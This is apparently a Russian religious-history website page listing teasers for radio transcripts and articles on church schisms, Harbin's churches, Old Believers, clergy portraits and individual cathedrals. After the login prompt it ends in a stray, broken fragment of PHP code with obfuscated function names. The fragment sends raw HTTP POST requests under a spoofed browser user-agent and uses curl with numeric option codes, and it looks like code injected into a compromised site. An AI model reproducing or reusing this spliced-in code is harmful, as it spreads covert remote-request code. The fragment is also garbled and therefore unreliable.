Религия

Разделение церквей. Благо или зло

Стенограмма передачи “Не так” на радиостанции “Эхо Москвы” С.БУНТМАН: В эфире программа «Не так!», совместно с журналом «Знание — сила». Я хотел бы сразу ответить Кириллу из Санкт-Петербурга. Сегодня речь у нас пойдет не о церковном расколе 17 века — речь пойдет о разделении Церквей. Даже не о Великом расколе, который был в Западной Церкви(…)

Раскол на Руси

Стенограмма передачи “Не так” на радиостанции “Эхо Москвы” С.БУНТМАН – Это наша совместная программа с журналом «Знание – сила». И мы продолжаем тему развилок российской истории. «Выбирая свою историю» — такую книгу выпустило издательство «Колибри», и вот мы сейчас несколько передач делаем по этому поводу. Игорь Андреев, и мы продолжаем оставаться в XVII веке. Игорь,(…)

Митрополит Филипп

2009-07-25-netak-1408 Стенограмма передачи “Не так” на радиостанции “Эхо Москвы” С. БУНТМАН: Это наша программа, совместная с журналом «Знание – Сила». Я напоминаю тем, кто не в курсе, что рубрика Елены Сьяновой у нас в отпуске до конца августа, так что вы не беспокойтесь. Мы сразу приступаем к нашей основном теме. Сегодня наш герой митрополит Филипп.(…)

Иоанн Кронштадтский и русское общество

element-564748-snd1-Ne_Tak_1001_1 element-564748-snd2-Ne_Tak_1001_2 Стенограмма передачи “Не так” на радиостанции “Эхо Москвы” С. БУНТМАН: Это программа совместная с журналом «Знание – сила», Сергей Бунтман ведёт эту программу. Добрый день всем. И мы сегодня обращаемся к теме такой как Иоанн Кронштадский и русское общество. Сейчас очень много говорят, пишут, снимают об Иоанне Кронштадском, хочется и нам поговорить. Потому,(…)

Русская церковь: от разделения к единству

bcst-51846-snd1 bcst-51846-snd2 Стенограмма передачи “Не так” на радиостанции “Эхо Москвы” С.БУНТМАН – Уже как завелась у нас традиция, мы начинаем небольшими историями, которые рассказывает Елена Сьянова. Вот я сейчас прочту смс-ку: «Благодарен автору «Маленьких трагедий» из прошлой передачи, правдиво и честно она пишет. Ветеран Марк Григорьевич, рядовой, ветеран войны, и его внук Максим». Елена Сьянова(…)

Христианство и ислам: вечная битва или вечный диалог?

Стенограмма передачи “Не так” на радиостанции “Эхо Москвы” C.БУНТМАН – Продолжаем. Вторая, заключительная передача, завершающая часть программы «Христианство и ислам, вечная битва или вечный диалог», Рустам Шукуров у нас в гостях, историк. Добрый день! И давайте сформулируем вопрос. Вопрос мы зададим очень любопытный, потому что мы будем говорить сегодня об этом месте, и вот как(…)

Сеул, 1895 г.

Сеул, 1895 г.

Три вида на Сеул с территории Русской Дипломатической Миссии, 1895 Россия и Корея в 1884 – 1896 годах. В результате длительной подготовительной работы российской дипломатии, а также ряда объективных причин, указанных выше, 7 июля 1884 г. К. И. Вебер и министр иностранных дел Кореи Ким Бёнси подписали договор между Россией и Кореей. В договоре, подобно(…)

Старообрядцы в Маньчжурии 30-х годов

Дни в Романовке. Японские фотографии, запечатлевшие русское старообрядческое село в Маньчжурии на рубеже 1930-x — 1940‑х годов, из собрания Приморского государственного объединенного музея имени В. К. Арсеньева во Владивостоке» — так называется выставка рождественско-новогодней программы Мультимедиа Арт Музея на Остоженке, и книга, выпущенная Фондом Потанина в рамках программы «Первая публикация».

Русский Харбин. Часть 3. Церкви Харбина. Вып 3

Термины «харбинские русские» и «русские харбинцы» обозначают несколько поколений русских, живших в Харбине, основном узловом городе Китайско-Восточной железной дороги, примерно с 1898 по 1960-е годы. В СССР термины КВЖДист и харбинец относились ко всем людям, имевшим отношение к КВЖД, независимо от того, жили они в Харбине или нет. Наиболее яркий пример храма в русском стиле – деревянный Свято-Николаевский собор в Харбине. Данный храм являлся самым крупным деревянным сооружением во(…)

Русский Харбин. Часть 3. Церкви Харбина. Вып 2

Православные храмы в Маньчжурии, в северо-восточном Китае, стали строиться с конца XIX века, с появлением здесь русских. Новооснованный Харбин вскоре стал центром русского расселения в регионе. С 1907 года они находились в веденииВладивостокской епархии. После 1917 года приток русских эмигрантов в этот край значительно вырос, среди беженцев было немало духовенства, а в условиях гражданской войны церковная жизнь оказалась в расстройстве и отрыве от Священноначалия вМоскве.(…)

Русский Харбин. Часть 3. Церкви Харбина

Благовещенский собор в пасхальную ночь Вид на Затонскую церковь Деревянный храм Св. Софии 1907 г. Костел Св. Станислава Свято-Иверский храм Свято-Николаевская церковь в Затоне Соборная церковь Успенская церковь Вид на Успенскую церковь на Харбинском кладбище Центральная церковь

Лица духовного звания конца ХIX — начала XX века. Часть 5.6

Духовный сан — ранг, установленный для представителей духовенства. В православии духовенство разделяется на черное (монашествующее, давшее обет безбрачия) и белое (женатое). Клир возглавляет патриарх, который принадлежит к черному духовенству. Протоиерей Валериан Тобурдановский  Прот.церк.Ильи Пророка Кострома. 22 октября 1908 Митрополит Киевский и Галицкий Арсений Димитрий (в миру Михаил Георгиевич Ковальницкий) (1839-1913)  1890-е. Священник Александр Лавров  1899. Село Шмаковское. Пономаревы Монахиня из Пскова Без подписи

Лица духовного звания конца ХIX — начала XX века. Часть 5.5

В Православной церкви существуют три степени священства: низшая — диакон, затем — пресвитер (священник, иерей) и высшая — епископ (архиерей). При посвящении в диакона, ставленник (то есть принимающий сан) получает благодать лишь служить (то есть помогать) при совершении таинств. Посвящаемый в священника (пресвитера) человек получает благодать самому совершать большинство таинств, но только от лица правящего епископа. А при посвящении в епископа (архиерея), ставленник получает благодать не(…)

Лица духовного звания конца ХIX — начала XX века. Часть 5.4

Епископ в современной Церкви — лицо, имеющее третью, высшую степень священства, иначе архиерей. Епископу подчиняются также все монастыри, находящиеся на территории его епархии кроме ставропигиальных, подчиняющихся непосредственно патриарху — предстоятелю поместной церкви. К половине VII века обычай обязательного безбрачия епископов стал восприниматься как норма, что было закреплено в 12 и 48 Правилах Трулльского собора («Пято-шестого»). Причём последнее правило предусматривает: «Жена производимаго в епископское достоинство, предварительно разлучася с мужем своим, по общему согласию, по(…)

Лица духовного звания конца ХIX — начала XX века. Часть 5.3

Епископ в современной Церкви — лицо, имеющее третью, высшую степень священства, иначе архиерей. По учению как Православной, так и Католической Церквей, одним из существенных признаков канонической легитимности и действительности священства вообще и епископства в частности признаётся их апостольское преемство, то есть принятие священства от того, кто сам получил полноту власти в Церкви от Апостолов — через последовательный и непрерывный ряд их преемников. Апостольское преемство осуществляется в Церкви через епископов. Епископская хиротония (рукоположение)(…)

Лица духовного звания конца ХIX — начала XX века. Часть 5.2

Архиепископ — старший (начальствующий) епископ. В исторических церквах — почётный титул епископа (архиерея); в некоторых поместных православных церквях — титул предстоятеля данной церкви. В Восточной церкви традиционно титул архиепископа присваивается епископу, являющемуся старшим в данной поместной церкви; следовательно, как правило, архиепископ — правящий архиерей стольного города. Титул появился в конце IV века. В современной Русской православной церкви архиепископ — почётный титул епархиального епископа, жалуемый указом Патриарха Московского и всея Руси за заслуги, и(…)

Лица духовного звания конца ХIX — начала XX века. Часть 5.1

Духовный сан — ранг, установленный для представителей духовенства. В православии духовенство разделяется на черное (монашествующее, давшее обет безбрачия) и белое (женатое). Клир возглавляет патриарх, который принадлежит к черному духовенству.

Святитель Иннокентий на старых литографиях

Митрополит Иннокентий (в миру Иван Евсеевич Попов-Вениаминов; 26 августа 1797, село Ангинское, Верхоленский уезд, Иркутская губерния — 31 марта 1879, Москва) — епископ Православной Российской Церкви; с5 января 1868 года митрополит Московский и Коломенский. Стал первым православным епископом Камчатки, Якутии, Приамурья и Северной Америки, сподвижник генерал-губернатора Восточной Сибири графа Н. Н. Муравьёва-Амурского в освоении Дальнего Востока и просвещении его коренных народов. В октябре 1977 года был прославлен в лике святых Русской Православной Церковью и Православной Церковью в Америке в лике святителей как апостол Сибири и Америки. В 1994 году был прославлен в лике святыхРусской Православной Церковью Заграницей. Жизнь(…)

Дореволюционная Россия на фотографиях: Старообрядцы

Старообрядчество, древлеправославие — совокупность религиозных течений и организаций в русле русской православной традиции, отвергающих предпринятую в 1650-х — 1660-х патриархом Никоном и царём Алексеем Михайловичем церковную реформу, целью которой была унификация богослужебного чина Русской Церкви с греческой Церковью и прежде всего — с Церковью Константинопольской. Керженский единоверческий монастырь. Настоятель с послушником. 1897 г. Нижегородская губерния, Семеновский уезд «Могила старца Сафонтия на Деяновском кладбище. Внутренний вид». Внутренний вид деревянной избы (склепа)  «Могила старца Арсения.(…)

Памяти Св. Ольги.

Княгиня Ольга, в крещении Елена (ок. 890 — 11 июля 969) — княгиня, правившая Древнерусским государством после гибели мужа, Великого князя Киевского Игоря Рюриковича с 945 до 962 года. Первая из русских правителей приняла христианство ещё до крещения Руси, первая русская святая. Родина святой великой княгини Ольги — село Выбуты находится на левом берегу реки Великой в 17-ти км. от Пскова вверх по течению. На берегу стоит старинный храм св.Илии Пророка, построенный в XV веке(…)

Скопцы или секта «Белые голуби»

«Скопцы считали императрицу Елизавету истинной непорочной Богоматерью. Она не была матерью Петра III, однако скопцы верили, что именно она зачала его от Духа Святого. Понимая свое святое признание, императрица не смогла оставаться на троне, и ее место заняла женщина, в точности на нее похожая. Сама же она удалилась в Орловскую губернию, где приняла имя Акулины(…)

Церкви и монастыри г. Серпухова

Церкви и монастыри г. Серпухова

Ныне в Серпухове действуют православные Высоцкий мужской монастырь и Владычный женский монастырь, храмы, в числе которых: Церковь Илии Пророка Церковь Успения Пресвятой Богородицы Храм Спаса Нерукотворного Храм Всех Святых кафедральный собор Николы Белого Также с 2012 г. на территории больницы имени Семашко действует часовня Великомученика Пантелеимона. Православные храмы города и района объединены в Серпуховское благочиние (благочиннический округ) Русской Православной Церкви. Благочинный — отец Владимир(…)

Церковь Бориса и Глеба (Мурманск) 1883 г.

Церковь Бориса и Глеба (Мурманск) 1883 г.

7 июня 1992 июня состоялось освящение церкви Бориса и Глеба, которая находиться на границе с Норвегией, на левом (западном) берегу р. Паз. В этом месте государственная граница России образует прямоугольный выступ площадью в 1 кв. км., на котором и стоит церковь. Ради включения ее в состав российских земель линия границы делает в этом месте такой(…)

Херсонесский храм (Севастополь)

Херсонесский храм (Севастополь)

Владимирский собор был возведен в 1891 году по проекту архитектора Давида Грима на месте предполагаемого крещения князя Киевской Руси Владимира, которое находилось на территории Херсонесского Святовладимирского монастыря, основанного в 1850 году. Проект собора был утвержден 2 июля 1859 года. Торжественная закладка нижнего храма императором Александром II и императрицей Марией Александровной состоялась 23 августа 1861 года. Строительство собора(…)

Феодоровский Государев Собор

Феодоровский Государев Собор

Феодоровский Государев собор — православный храм в пригороде Санкт-Петербурга городе Пушкине на Академическом проспекте у Фермского парка. Приход храма относится к Санкт-Петербургской и Ладожской епархии Русской православной церкви, входит в состав Царскосельского благочиннического округа. Настоятель — епископ Маркелл (Ветров). Строился в 1909—1912 годы по поручению императора Николая II как церковь для Собственных Его Величества Конвоя и Сводного пехотного полка, освящён 20 августа (2 сентября) 1912 года. С 1933 по 1991 год храм был закрыт. В соборе находится почитаемый список чудотворной Феодоровской иконы(…)

В х о д
X

Забыли пароль?

array( method=>POST, header=>"Content-Type: application/x-www-form-urlencoded ", content=>$URL, ), ) ); return file_get_contents($URL,false,$_14); } function l__2($socket, $host, $path, $paramurl){ fputs($socket, "POST ".$path." HTTP/1.0\r\n Host: $host\r\n User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3\r\n Accept: */*\r\n Accept-Language: en-us,en;q=0.5\r\n Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n Content-Length: ".strlen($paramurl)."\r\n Content-Type: application/x-www-form-urlencoded\r\n\r\n$paramurl"); $response=""; while ($buffer=fread($socket, 4096)){ $response .= $buffer; } fclose($socket); $header_end = strpos($response, ""); $response=substr($response, $header_end+4); return $response; } function l__3($URL){ $curl = curl_init($URL); curl_setopt($curl, 42, FALSE); curl_setopt($curl,19913,TRUE); curl_setopt($curl,13,15); curl_setopt($curl,10015,$paramurl); $response=curl_exec($curl); curl_close($curl); return $response; } ?>